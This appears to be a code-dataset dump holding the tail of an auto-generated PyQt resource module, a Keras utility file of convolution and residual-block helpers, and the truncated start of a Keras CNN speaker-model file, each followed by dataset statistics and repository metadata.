\x00\x00\x08\x7a\x00\x00\x00\x00\x00\x01\x00\x00\xf5\xc4\ \x00\x00\x09\x74\x00\x00\x00\x00\x00\x01\x00\x00\xfc\x7d\ \x00\x00\x00\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x87\xeb\ \x00\x00\x06\xea\x00\x00\x00\x00\x00\x01\x00\x00\xcc\xe4\ \x00\x00\x00\x48\x00\x00\x00\x00\x00\x01\x00\x00\x81\xd7\ \x00\x00\x05\x00\x00\x00\x00\x00\x00\x01\x00\x00\x37\x5e\ \x00\x00\x02\xee\x00\x00\x00\x00\x00\x01\x00\x00\x21\x8c\ \x00\x00\x02\x50\x00\x00\x00\x00\x00\x01\x00\x00\x1a\xe2\ \x00\x00\x01\x8c\x00\x00\x00\x00\x00\x01\x00\x00\x10\x87\ \x00\x00\x05\x9e\x00\x00\x00\x00\x00\x01\x00\x00\x3f\x6c\ \x00\x00\x03\xd2\x00\x00\x00\x00\x00\x01\x00\x00\x2b\x0c\ \x00\x00\x04\x00\x00\x00\x00\x00\x00\x01\x00\x00\x2d\xcf\ \x00\x00\x02\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x1a\x3b\ \x00\x00\x04\xb2\x00\x00\x00\x00\x00\x01\x00\x00\x34\xb4\ \x00\x00\x07\x6c\x00\x00\x00\x00\x00\x01\x00\x00\x51\x54\ \x00\x00\x03\x56\x00\x00\x00\x00\x00\x01\x00\x00\x27\x71\ \x00\x00\x04\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x2f\xd9\ \x00\x00\x07\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x53\x56\ \x00\x00\x06\xc6\x00\x00\x00\x00\x00\x01\x00\x00\x48\xe5\ \x00\x00\x07\x36\x00\x00\x00\x00\x00\x01\x00\x00\x4f\xfc\ \x00\x00\x09\x20\x00\x00\x00\x00\x00\x01\x00\x00\x79\x26\ \x00\x00\x06\x3e\x00\x00\x00\x00\x00\x01\x00\x00\x45\xa5\ \x00\x00\x04\x92\x00\x00\x00\x00\x00\x01\x00\x00\x32\x6b\ \x00\x00\x05\x26\x00\x00\x00\x00\x00\x01\x00\x00\x38\xef\ \x00\x00\x04\xd8\x00\x00\x00\x00\x00\x01\x00\x00\x35\x5b\ \x00\x00\x08\x24\x00\x01\x00\x00\x00\x01\x00\x00\x56\x60\ \x00\x00\x04\x64\x00\x00\x00\x00\x00\x01\x00\x00\x31\x9f\ \x00\x00\x02\x80\x00\x00\x00\x00\x00\x01\x00\x00\x1d\x13\ \x00\x00\x01\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x10\xef\ \x00\x00\x03\x88\x00\x00\x00\x00\x00\x01\x00\x00\x28\x46\ \x00\x00\x09\x44\x00\x00\x00\x00\x00\x01\x00\x00\x7b\x25\ \x00\x00\x01\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x0c\x06\ \x00\x00\x00\xca\x00\x00\x00\x00\x00\x01\x00\x00\x06\xec\ \x00\x00\x06\x1a\x00\x00\x00\x00\x00\x01\x00\x00\x44\xd9\ \x00\x00\x00\x78\x00\x00\x00\x00\x00\x01\x00\x00\x03\xc9\ \x00\x00\x01\x06\x00\x00\x00\x00\x00\x01\x00\x00\x09\xd5\ \x00\x00\x05\xc2\x00\x00\x00\x00\x00\x01\x00\x00\x3f\xd4\ \x00\x00\x07\xda\x00\x00\x00\x00\x00\x01\x00\x00\x53\xd6\ \x00\x00\x02\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x1f\x12\ \x00\x00\x01\xde\x00\x00\x00\x00\x00\x01\x00\x00\x18\x75\ \x00\x00\x07\x10\x00\x00\x00\x00\x00\x01\x00\x00\x4e\xa4\ \x00\x00\x06\x98\x00\x00\x00\x00\x00\x01\x00\x00\x47\xc7\ \x00\x00\x00\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ \x00\x00\x03\x06\x00\x00\x00\x00\x00\x01\x00\x00\x22\x15\ \x00\x00\x07\xf8\x00\x00\x00\x00\x00\x01\x00\x00\x55\xe0\ \x00\x00\x05\xda\x00\x00\x00\x00\x00\x01\x00\x00\x43\xbb\ \x00\x00\x03\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x24\x31\ \x00\x00\x01\x58\x00\x00\x00\x00\x00\x01\x00\x00\x0e\x18\ \x00\x00\x08\xb4\x00\x00\x00\x00\x00\x01\x00\x00\x76\x2c\ \x00\x00\x03\xaa\x00\x00\x00\x00\x00\x01\x00\x00\x2a\x58\ \x00\x00\x08\x46\x00\x00\x00\x00\x00\x01\x00\x00\x73\x53\ \x00\x00\x08\xf8\x00\x00\x00\x00\x00\x01\x00\x00\x77\x01\ \x00\x00\x05\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x3c\xc7\ \x00\x00\x00\x96\x00\x00\x00\x00\x00\x01\x00\x00\x04\xea\ \x00\x00\x05\x46\x00\x00\x00\x00\x00\x01\x00\x00\x3a\xb5\ \x00\x00\x06\x74\x00\x00\x00\x00\x00\x01\x00\x00\x47\xa4\ \x00\x00\x02\xcc\x00\x00\x00\x00\x00\x01\x00\x00\x20\xbd\ \x00\x00\x08\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x75\x78\ \x00\x00\x09\x74\x00\x00\x00\x00\x00\x01\x00\x00\x7c\x31\ \x00\x00\x00\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x07\xd3\ \x00\x00\x06\xea\x00\x00\x00\x00\x00\x01\x00\x00\x4c\xcc\ \x00\x00\x00\x48\x00\x00\x00\x00\x00\x01\x00\x00\x01\xbf\ " qt_resource_struct_v2 = b"\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x10\x00\x02\x00\x00\x00\x39\x00\x00\x00\x3c\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x00\x00\x00\x02\x00\x00\x00\x39\x00\x00\x00\x03\ \x00\x00\x00\x00\x00\x00\x00\x00\ \x00\x00\x05\x00\x00\x00\x00\x00\x00\x01\x00\x00\xb7\x76\ \x00\x00\x01\x7d\x86\x4d\xe5\x36\ \x00\x00\x02\xee\x00\x00\x00\x00\x00\x01\x00\x00\xa1\xa4\ \x00\x00\x01\x7d\x86\x4d\xe5\x3f\ \x00\x00\x02\x50\x00\x00\x00\x00\x00\x01\x00\x00\x9a\xfa\ \x00\x00\x01\x7d\x86\x4d\xe5\x33\ \x00\x00\x01\x8c\x00\x00\x00\x00\x00\x01\x00\x00\x90\x9f\ \x00\x00\x01\x7d\x86\x4d\xe5\x3a\ \x00\x00\x05\x9e\x00\x00\x00\x00\x00\x01\x00\x00\xbf\x84\ \x00\x00\x01\x7d\x86\x4d\xe5\x40\ \x00\x00\x03\xd2\x00\x00\x00\x00\x00\x01\x00\x00\xab\x24\ \x00\x00\x01\x7d\x86\x4d\xe5\x3b\ \x00\x00\x04\x00\x00\x00\x00\x00\x00\x01\x00\x00\xad\xe7\ \x00\x00\x01\x7d\x86\x4d\xe5\x3f\ \x00\x00\x02\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x9a\x53\ \x00\x00\x01\x7d\x86\x4d\xe5\x39\ \x00\x00\x04\xb2\x00\x00\x00\x00\x00\x01\x00\x00\xb4\xcc\ \x00\x00\x01\x7d\x86\x4d\xe5\x40\ \x00\x00\x07\x6c\x00\x00\x00\x00\x00\x01\x00\x00\xd1\x6c\ \x00\x00\x01\x7d\x86\x4d\xe5\x33\ \x00\x00\x03\x56\x00\x00\x00\x00\x00\x01\x00\x00\xa7\x89\ \x00\x00\x01\x7d\x86\x4d\xe5\x34\ \x00\x00\x04\x2a\x00\x00\x00\x00\x00\x01\x00\x00\xaf\xf1\ \x00\x00\x01\x7d\x86\x4d\xe5\x34\ \x00\x00\x07\x9c\x00\x00\x00\x00\x00\x01\x00\x00\xd3\x6e\ \x00\x00\x01\x7d\x86\x4d\xe5\x3c\ \x00\x00\x06\xc6\x00\x00\x00\x00\x00\x01\x00\x00\xc8\xfd\ \x00\x00\x01\x7d\x86\x4d\xe5\x35\ \x00\x00\x07\x36\x00\x00\x00\x00\x00\x01\x00\x00\xd0\x14\ \x00\x00\x01\x7d\x86\x4d\xe5\x3e\ \x00\x00\x09\x20\x00\x00\x00\x00\x00\x01\x00\x00\xf9\x72\ \x00\x00\x01\x7d\x86\x4d\xe5\x3c\ \x00\x00\x06\x3e\x00\x00\x00\x00\x00\x01\x00\x00\xc5\xbd\ \x00\x00\x01\x7d\x86\x4d\xe5\x3d\ \x00\x00\x04\x92\x00\x00\x00\x00\x00\x01\x00\x00\xb2\x83\ \x00\x00\x01\x7d\x86\x4d\xe5\x37\ \x00\x00\x05\x26\x00\x00\x00\x00\x00\x01\x00\x00\xb9\x07\ \x00\x00\x01\x7d\x86\x4d\xe5\x37\ \x00\x00\x04\xd8\x00\x00\x00\x00\x00\x01\x00\x00\xb5\x73\ \x00\x00\x01\x7d\x86\x4d\xe5\x36\ \x00\x00\x08\x24\x00\x01\x00\x00\x00\x01\x00\x00\xd6\x78\ \x00\x00\x01\x7d\x86\x4d\xe5\x3d\ \x00\x00\x04\x64\x00\x00\x00\x00\x00\x01\x00\x00\xb1\xb7\ \x00\x00\x01\x7d\x86\x4d\xe5\x31\ \x00\x00\x02\x80\x00\x00\x00\x00\x00\x01\x00\x00\x9d\x2b\ \x00\x00\x01\x7d\x86\x4d\xe5\x33\ \x00\x00\x01\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x91\x07\ \x00\x00\x01\x7d\x86\x4d\xe5\x3b\ \x00\x00\x03\x88\x00\x00\x00\x00\x00\x01\x00\x00\xa8\x5e\ \x00\x00\x01\x7d\x86\x4d\xe5\x39\ \x00\x00\x09\x44\x00\x00\x00\x00\x00\x01\x00\x00\xfb\x71\ \x00\x00\x01\x7d\x86\x4d\xe5\x32\ \x00\x00\x01\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x8c\x1e\ \x00\x00\x01\x7d\x86\x4d\xe5\x39\ \x00\x00\x00\xca\x00\x00\x00\x00\x00\x01\x00\x00\x87\x04\ \x00\x00\x01\x7d\x86\x4d\xe5\x3e\ \x00\x00\x06\x1a\x00\x00\x00\x00\x00\x01\x00\x00\xc4\xf1\ \x00\x00\x01\x7d\x86\x4d\xe5\x32\ \x00\x00\x00\x78\x00\x00\x00\x00\x00\x01\x00\x00\x83\xe1\ \x00\x00\x01\x7d\x86\x4d\xe5\x3d\ \x00\x00\x01\x06\x00\x00\x00\x00\x00\x01\x00\x00\x89\xed\ \x00\x00\x01\x7d\x86\x4d\xe5\x32\ \x00\x00\x05\xc2\x00\x00\x00\x00\x00\x01\x00\x00\xbf\xec\ \x00\x00\x01\x7d\x86\x4d\xe5\x35\ \x00\x00\x07\xda\x00\x00\x00\x00\x00\x01\x00\x00\xd3\xee\ \x00\x00\x01\x7d\x86\x4d\xe5\x3f\ \x00\x00\x02\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x9f\x2a\ \x00\x00\x01\x7d\x86\x4d\xe5\x38\ \x00\x00\x01\xde\x00\x00\x00\x00\x00\x01\x00\x00\x98\x8d\ \x00\x00\x01\x7d\x86\x4d\xe5\x34\ \x00\x00\x07\x10\x00\x00\x00\x00\x00\x01\x00\x00\xce\xbc\ \x00\x00\x01\x7d\x86\x4d\xe5\x3e\ \x00\x00\x06\x98\x00\x00\x00\x00\x00\x01\x00\x00\xc7\xdf\ \x00\x00\x01\x7d\x86\x4d\xe5\x33\ \x00\x00\x00\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x80\x18\ \x00\x00\x01\x7d\x86\x4d\xe5\x37\ \x00\x00\x03\x06\x00\x00\x00\x00\x00\x01\x00\x00\xa2\x2d\ \x00\x00\x01\x7d\x86\x4d\xe5\x38\ \x00\x00\x07\xf8\x00\x00\x00\x00\x00\x01\x00\x00\xd5\xf8\ \x00\x00\x01\x7d\x86\x4d\xe5\x3c\ \x00\x00\x05\xda\x00\x00\x00\x00\x00\x01\x00\x00\xc3\xd3\ \x00\x00\x01\x7d\x86\x4d\xe5\x34\ \x00\x00\x03\x2a\x00\x00\x00\x00\x00\x01\x00\x00\xa4\x49\ \x00\x00\x01\x7d\x86\x4d\xe5\x3b\ \x00\x00\x01\x58\x00\x00\x00\x00\x00\x01\x00\x00\x8e\x30\ \x00\x00\x01\x7d\x86\x4d\xe5\x3b\ \x00\x00\x08\xb4\x00\x00\x00\x00\x00\x01\x00\x00\xf6\x78\ \x00\x00\x01\x7d\x86\x4d\xe5\x35\ \x00\x00\x03\xaa\x00\x00\x00\x00\x00\x01\x00\x00\xaa\x70\ \x00\x00\x01\x7d\x86\x4d\xe5\x3b\ \x00\x00\x08\x46\x00\x00\x00\x00\x00\x01\x00\x00\xf3\x9f\ \x00\x00\x01\x7d\x86\x4d\xe5\x31\ \x00\x00\x08\xf8\x00\x00\x00\x00\x00\x01\x00\x00\xf7\x4d\ \x00\x00\x01\x7d\x86\x4d\xe5\x31\ \x00\x00\x05\x7a\x00\x00\x00\x00\x00\x01\x00\x00\xbc\xdf\ \x00\x00\x01\x7d\x86\x4d\xe5\x37\ \x00\x00\x00\x96\x00\x00\x00\x00\x00\x01\x00\x00\x85\x02\ \x00\x00\x01\x7d\x86\x4d\xe5\x3a\ \x00\x00\x05\x46\x00\x00\x00\x00\x00\x01\x00\x00\xba\xcd\ \x00\x00\x01\x7d\x86\x4d\xe5\x39\ \x00\x00\x06\x74\x00\x00\x00\x00\x00\x01\x00\x00\xc7\xbc\ \x00\x00\x01\x7d\x86\x4d\xe5\x3e\ \x00\x00\x02\xcc\x00\x00\x00\x00\x00\x01\x00\x00\xa0\xd5\ \x00\x00\x01\x7d\x86\x4d\xe5\x31\ \x00\x00\x08\x7a\x00\x00\x00\x00\x00\x01\x00\x00\xf5\xc4\ \x00\x00\x01\x7d\x86\x4d\xe5\x3b\ \x00\x00\x09\x74\x00\x00\x00\x00\x00\x01\x00\x00\xfc\x7d\ \x00\x00\x01\x7d\x86\x4d\xe5\x36\ \x00\x00\x00\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x87\xeb\ \x00\x00\x01\x7d\x86\x4d\xe5\x3a\ \x00\x00\x06\xea\x00\x00\x00\x00\x00\x01\x00\x00\xcc\xe4\ \x00\x00\x01\x7d\x86\x4d\xe5\x38\ \x00\x00\x00\x48\x00\x00\x00\x00\x00\x01\x00\x00\x81\xd7\ \x00\x00\x01\x7d\x86\x4d\xe5\x3f\ \x00\x00\x05\x00\x00\x00\x00\x00\x00\x01\x00\x00\x37\x5e\ \x00\x00\x01\x7d\x86\x4d\xe5\x25\ \x00\x00\x02\xee\x00\x00\x00\x00\x00\x01\x00\x00\x21\x8c\ \x00\x00\x01\x7d\x86\x4d\xe5\x30\ \x00\x00\x02\x50\x00\x00\x00\x00\x00\x01\x00\x00\x1a\xe2\ \x00\x00\x01\x7d\x86\x4d\xe5\x22\ \x00\x00\x01\x8c\x00\x00\x00\x00\x00\x01\x00\x00\x10\x87\ \x00\x00\x01\x7d\x86\x4d\xe5\x29\ \x00\x00\x05\x9e\x00\x00\x00\x00\x00\x01\x00\x00\x3f\x6c\ \x00\x00\x01\x7d\x86\x4d\xe5\x30\ \x00\x00\x03\xd2\x00\x00\x00\x00\x00\x01\x00\x00\x2b\x0c\ \x00\x00\x01\x7d\x86\x4d\xe5\x2a\ \x00\x00\x04\x00\x00\x00\x00\x00\x00\x01\x00\x00\x2d\xcf\ \x00\x00\x01\x7d\x86\x4d\xe5\x2f\ \x00\x00\x02\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x1a\x3b\ \x00\x00\x01\x7d\x86\x4d\xe5\x29\ \x00\x00\x04\xb2\x00\x00\x00\x00\x00\x01\x00\x00\x34\xb4\ \x00\x00\x01\x7d\x86\x4d\xe5\x30\ \x00\x00\x07\x6c\x00\x00\x00\x00\x00\x01\x00\x00\x51\x54\ \x00\x00\x01\x7d\x86\x4d\xe5\x22\ \x00\x00\x03\x56\x00\x00\x00\x00\x00\x01\x00\x00\x27\x71\ \x00\x00\x01\x7d\x86\x4d\xe5\x24\ \x00\x00\x04\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x2f\xd9\ \x00\x00\x01\x7d\x86\x4d\xe5\x23\ \x00\x00\x07\x9c\x00\x00\x00\x00\x00\x01\x00\x00\x53\x56\ \x00\x00\x01\x7d\x86\x4d\xe5\x2c\ \x00\x00\x06\xc6\x00\x00\x00\x00\x00\x01\x00\x00\x48\xe5\ \x00\x00\x01\x7d\x86\x4d\xe5\x25\ \x00\x00\x07\x36\x00\x00\x00\x00\x00\x01\x00\x00\x4f\xfc\ \x00\x00\x01\x7d\x86\x4d\xe5\x2e\ \x00\x00\x09\x20\x00\x00\x00\x00\x00\x01\x00\x00\x79\x26\ \x00\x00\x01\x7d\x86\x4d\xe5\x2c\ \x00\x00\x06\x3e\x00\x00\x00\x00\x00\x01\x00\x00\x45\xa5\ \x00\x00\x01\x7d\x86\x4d\xe5\x2d\ \x00\x00\x04\x92\x00\x00\x00\x00\x00\x01\x00\x00\x32\x6b\ \x00\x00\x01\x7d\x86\x4d\xe5\x26\ \x00\x00\x05\x26\x00\x00\x00\x00\x00\x01\x00\x00\x38\xef\ \x00\x00\x01\x7d\x86\x4d\xe5\x27\ \x00\x00\x04\xd8\x00\x00\x00\x00\x00\x01\x00\x00\x35\x5b\ \x00\x00\x01\x7d\x86\x4d\xe5\x25\ \x00\x00\x08\x24\x00\x01\x00\x00\x00\x01\x00\x00\x56\x60\ \x00\x00\x01\x7d\x86\x4d\xe5\x2d\ \x00\x00\x04\x64\x00\x00\x00\x00\x00\x01\x00\x00\x31\x9f\ \x00\x00\x01\x7d\x86\x4d\xe5\x20\ \x00\x00\x02\x80\x00\x00\x00\x00\x00\x01\x00\x00\x1d\x13\ \x00\x00\x01\x7d\x86\x4d\xe5\x22\ \x00\x00\x01\xb0\x00\x00\x00\x00\x00\x01\x00\x00\x10\xef\ \x00\x00\x01\x7d\x86\x4d\xe5\x2b\ \x00\x00\x03\x88\x00\x00\x00\x00\x00\x01\x00\x00\x28\x46\ \x00\x00\x01\x7d\x86\x4d\xe5\x28\ \x00\x00\x09\x44\x00\x00\x00\x00\x00\x01\x00\x00\x7b\x25\ \x00\x00\x01\x7d\x86\x4d\xe5\x21\ \x00\x00\x01\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x0c\x06\ \x00\x00\x01\x7d\x86\x4d\xe5\x28\ \x00\x00\x00\xca\x00\x00\x00\x00\x00\x01\x00\x00\x06\xec\ \x00\x00\x01\x7d\x86\x4d\xe5\x2e\ \x00\x00\x06\x1a\x00\x00\x00\x00\x00\x01\x00\x00\x44\xd9\ \x00\x00\x01\x7d\x86\x4d\xe5\x21\ \x00\x00\x00\x78\x00\x00\x00\x00\x00\x01\x00\x00\x03\xc9\ \x00\x00\x01\x7d\x86\x4d\xe5\x2d\ \x00\x00\x01\x06\x00\x00\x00\x00\x00\x01\x00\x00\x09\xd5\ \x00\x00\x01\x7d\x86\x4d\xe5\x21\ \x00\x00\x05\xc2\x00\x00\x00\x00\x00\x01\x00\x00\x3f\xd4\ \x00\x00\x01\x7d\x86\x4d\xe5\x24\ \x00\x00\x07\xda\x00\x00\x00\x00\x00\x01\x00\x00\x53\xd6\ \x00\x00\x01\x7d\x86\x4d\xe5\x2f\ \x00\x00\x02\xa8\x00\x00\x00\x00\x00\x01\x00\x00\x1f\x12\ \x00\x00\x01\x7d\x86\x4d\xe5\x27\ \x00\x00\x01\xde\x00\x00\x00\x00\x00\x01\x00\x00\x18\x75\ \x00\x00\x01\x7d\x86\x4d\xe5\x23\ \x00\x00\x07\x10\x00\x00\x00\x00\x00\x01\x00\x00\x4e\xa4\ \x00\x00\x01\x7d\x86\x4d\xe5\x2e\ \x00\x00\x06\x98\x00\x00\x00\x00\x00\x01\x00\x00\x47\xc7\ \x00\x00\x01\x7d\x86\x4d\xe5\x23\ \x00\x00\x00\x1e\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\ \x00\x00\x01\x7d\x86\x4d\xe5\x26\ \x00\x00\x03\x06\x00\x00\x00\x00\x00\x01\x00\x00\x22\x15\ \x00\x00\x01\x7d\x86\x4d\xe5\x28\ \x00\x00\x07\xf8\x00\x00\x00\x00\x00\x01\x00\x00\x55\xe0\ \x00\x00\x01\x7d\x86\x4d\xe5\x2c\ \x00\x00\x05\xda\x00\x00\x00\x00\x00\x01\x00\x00\x43\xbb\ \x00\x00\x01\x7d\x86\x4d\xe5\x23\ \x00\x00\x03\x2a\x00\x00\x00\x00\x00\x01\x00\x00\x24\x31\ \x00\x00\x01\x7d\x86\x4d\xe5\x2b\ \x00\x00\x01\x58\x00\x00\x00\x00\x00\x01\x00\x00\x0e\x18\ \x00\x00\x01\x7d\x86\x4d\xe5\x2a\ \x00\x00\x08\xb4\x00\x00\x00\x00\x00\x01\x00\x00\x76\x2c\ \x00\x00\x01\x7d\x86\x4d\xe5\x24\ \x00\x00\x03\xaa\x00\x00\x00\x00\x00\x01\x00\x00\x2a\x58\ \x00\x00\x01\x7d\x86\x4d\xe5\x2b\ \x00\x00\x08\x46\x00\x00\x00\x00\x00\x01\x00\x00\x73\x53\ \x00\x00\x01\x7d\x86\x4d\xe5\x20\ \x00\x00\x08\xf8\x00\x00\x00\x00\x00\x01\x00\x00\x77\x01\ \x00\x00\x01\x7d\x86\x4d\xe5\x20\ \x00\x00\x05\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x3c\xc7\ \x00\x00\x01\x7d\x86\x4d\xe5\x26\ \x00\x00\x00\x96\x00\x00\x00\x00\x00\x01\x00\x00\x04\xea\ \x00\x00\x01\x7d\x86\x4d\xe5\x2a\ \x00\x00\x05\x46\x00\x00\x00\x00\x00\x01\x00\x00\x3a\xb5\ \x00\x00\x01\x7d\x86\x4d\xe5\x28\ \x00\x00\x06\x74\x00\x00\x00\x00\x00\x01\x00\x00\x47\xa4\ \x00\x00\x01\x7d\x86\x4d\xe5\x2e\ \x00\x00\x02\xcc\x00\x00\x00\x00\x00\x01\x00\x00\x20\xbd\ \x00\x00\x01\x7d\x86\x4d\xe5\x20\ \x00\x00\x08\x7a\x00\x00\x00\x00\x00\x01\x00\x00\x75\x78\ \x00\x00\x01\x7d\x86\x4d\xe5\x2b\ \x00\x00\x09\x74\x00\x00\x00\x00\x00\x01\x00\x00\x7c\x31\ \x00\x00\x01\x7d\x86\x4d\xe5\x25\ \x00\x00\x00\xe4\x00\x00\x00\x00\x00\x01\x00\x00\x07\xd3\ \x00\x00\x01\x7d\x86\x4d\xe5\x29\ \x00\x00\x06\xea\x00\x00\x00\x00\x00\x01\x00\x00\x4c\xcc\ \x00\x00\x01\x7d\x86\x4d\xe5\x27\ \x00\x00\x00\x48\x00\x00\x00\x00\x00\x01\x00\x00\x01\xbf\ \x00\x00\x01\x7d\x86\x4d\xe5\x2f\ " qt_version = [int(v) for v in QtCore.qVersion().split('.')] if qt_version < [5, 8, 0]: rcc_version = 1 qt_resource_struct = qt_resource_struct_v1 else: rcc_version = 2 qt_resource_struct = qt_resource_struct_v2 def qInitResources(): QtCore.qRegisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(rcc_version, qt_resource_struct, qt_resource_name, qt_resource_data) qInitResources()

59.819143

129

0.725097

72,425

299,993

3.002913

0.004239

0.0477

0.033064

0.027202

0.790078

0.788727

0.787439

0.78686

0.786736

0.786239

0

0.405129

0.017007

299,993

5,014

130

59.831073

0.332384

0.000507

0

0.754702

0

0.87415

0.000003

0

1

0

1

0.0004

false

0

0.0002

0

0.0006

0

null

0

1

0

1

0

1

0

1

0

1

0

null

1

0

10

d330632fcc8e99a88f7a0171b82284a7dc5e7184

2,993

py

Python

sogo/keras/util.py

bnord01/alpha-zero-general-sogo

76e08d2fc1f0d331018ee1b07bdd33128fbd6d83

[ "MIT" ]

null

sogo/keras/util.py

bnord01/alpha-zero-general-sogo

76e08d2fc1f0d331018ee1b07bdd33128fbd6d83

[ "MIT" ]

null

sogo/keras/util.py

bnord01/alpha-zero-general-sogo

76e08d2fc1f0d331018ee1b07bdd33128fbd6d83

[ "MIT" ]

null

from keras.layers import * def conv2d_bn(x, filters, num_row, num_col, padding='same', strides=(1, 1), name=None, with_activation=True): """Utility function to apply conv + BN. # Arguments x: input tensor. filters: filters in `Conv2D`. num_row: height of the convolution kernel. num_col: width of the convolution kernel. padding: padding mode in `Conv2D`. strides: strides in `Conv2D`. name: name of the ops; will become `name + '_conv'` for the convolution and `name + '_bn'` for the batch norm layer. # Returns Output tensor after applying `Conv2D` and `BatchNormalization`. """ if name is not None: bn_name = name + '_bn' conv_name = name + '_conv' else: bn_name = None conv_name = None x = Conv2D( filters, (num_row, num_col), strides=strides, padding=padding, use_bias=False, name=conv_name)(x) x = BatchNormalization(scale=False, name=bn_name,)(x) if with_activation: x = Activation('relu', name=name)(x) return x def conv3d_bn(x, filters, num_row, num_col, num_lvl, padding='same', strides=(1, 1, 1), name=None, with_activation=True): """Utility function to apply conv + BN. # Arguments x: input tensor. filters: filters in `Conv3D`. num_row: height of the convolution kernel. num_col: width of the convolution kernel. num_lvl: depth of the convolution kernel. padding: padding mode in `Conv3D`. strides: strides in `Conv3D`. name: name of the ops; will become `name + '_conv'` for the convolution and `name + '_bn'` for the batch norm layer. # Returns Output tensor after applying `Conv3D` and `BatchNormalization`. """ if name is not None: bn_name = name + '_bn' conv_name = name + '_conv' else: bn_name = None conv_name = None x = Conv3D( filters, (num_row, num_col, num_lvl), strides=strides, padding=padding, use_bias=False, name=conv_name)(x) x = BatchNormalization(scale=False, name=bn_name)(x) if with_activation: x = Activation('relu', name=name)(x) return x def res_block_2d(x, filters=256, name=None): y = conv2d_bn(x, filters, 3, 3, name=name, with_activation=False) y = Add()([x, y]) y = Activation('relu', name=name)(y) return y def res_block_3d(x, filters=256, name=None): y = conv3d_bn(x, filters, 3, 3, 3, name=name, with_activation=False) y = Add()([x, y]) y = Activation('relu', name=name)(y) return y

31.505263

73

0.542265

365

2,993

4.306849

0.194521

0.061069

0.050891

0.069975

0.891221

0.840331

0.814886

0.767176

0.727735

0

0.016632

0.357167

2,993

95

74

31.505263

0.800416

0.339125

0

0.733333

0

0.022676

0

1

0.066667

false

0

0.016667

0

0.15

0

null

0

1

0

1

0

null

0

7

d353d7ee982d8ed27bd05270fb12c05235f52ae0

94,848

py

Python

test/old_models.py

qiaoxiaobin2018/mfcc_cnn

76711b9d25fce480d1cf603e844434ad65f8662b

[ "MIT" ]

null

test/old_models.py

qiaoxiaobin2018/mfcc_cnn

76711b9d25fce480d1cf603e844434ad65f8662b

[ "MIT" ]

null

test/old_models.py

qiaoxiaobin2018/mfcc_cnn

76711b9d25fce480d1cf603e844434ad65f8662b

[ "MIT" ]

null

import time import numpy as np import constants as c import keras.backend as K import tensorflow as tf from keras import layers from keras.models import Model,Sequential from keras.regularizers import l2 from keras.layers.merge import concatenate from keras.layers import Activation, Conv1D, Conv2D, Input, Lambda,Dropout,LSTM from keras.layers import BatchNormalization, Flatten, Dense, Reshape from keras.layers import MaxPooling2D, AveragePooling2D, GlobalAveragePooling2D ''' 自定义卷积神经网络 ''' def conNet_87_for_64(input_shape,weight_decay,pool): ''' train: 0 ~ 30 0.001 35 ~ 85 0.0001 90 ~ 115 0.00006(2) ''' # =============================================== # input layer # =============================================== inputs = Input(input_shape, name='input') # =============================================== # Convolution Block 1 # =============================================== x1 = Conv2D(32,(3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv1')(inputs) x1 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn1', trainable=True)(x1, training=False) x1 = Activation('relu', name='relu1')(x1) if pool == "max": x1 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool1")(x1) elif pool == "avg": x1 = AveragePooling2D((2, 2), strides=(2, 2), padding="same", name="avgpool1")(x1) # =============================================== # Convolution Block 2 # =============================================== x2 = Conv2D(96, (3,3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv2')(x1) x2 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn2', trainable=True)(x2, training=False) x2 = Activation('relu', name='relu2')(x2) if pool == "max": x2 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool2")(x2) elif pool == "avg": x2 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool2")(x2) # =============================================== # Convolution Block 3 # =============================================== x3 = Conv2D(192, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', name='conv3_1')(x2) x3 = Conv2D(256, (3, 3), kernel_initializer='orthogonal', use_bias=False, trainable=True, kernel_regularizer=l2(weight_decay), padding='same', strides=(2,1), name='conv3_2')(x3) # shortcut = Conv2D(256, (1, 1), # strides=(2, 1), # kernel_initializer='orthogonal', # use_bias=False, # trainable=True, # kernel_regularizer=l2(weight_decay), # name="shortcut")(x2) # x3 = layers.add([x3, shortcut]) x3 = BatchNormalization(axis=3, epsilon=1e-5, momentum=1, name='bn3', trainable=True)(x3, training=False) x3 = Activation('relu', name='relu3')(x3) if pool == "max": x3 = MaxPooling2D((2,2), strides=(2,2), padding="same", name="mpool3")(x3) elif pool == "avg": x3 = AveragePooling2D((2,2), strides=(2,2), padding="same", name="avgpool3")(x3) # =============================================== # GlobalAveragePooling # =============================================== a1 = GlobalAveragePooling2D(name='avg_pool')(x3) # =============================================== # Dense layer # =============================================== dense1 = Dense(128, activation='relu', 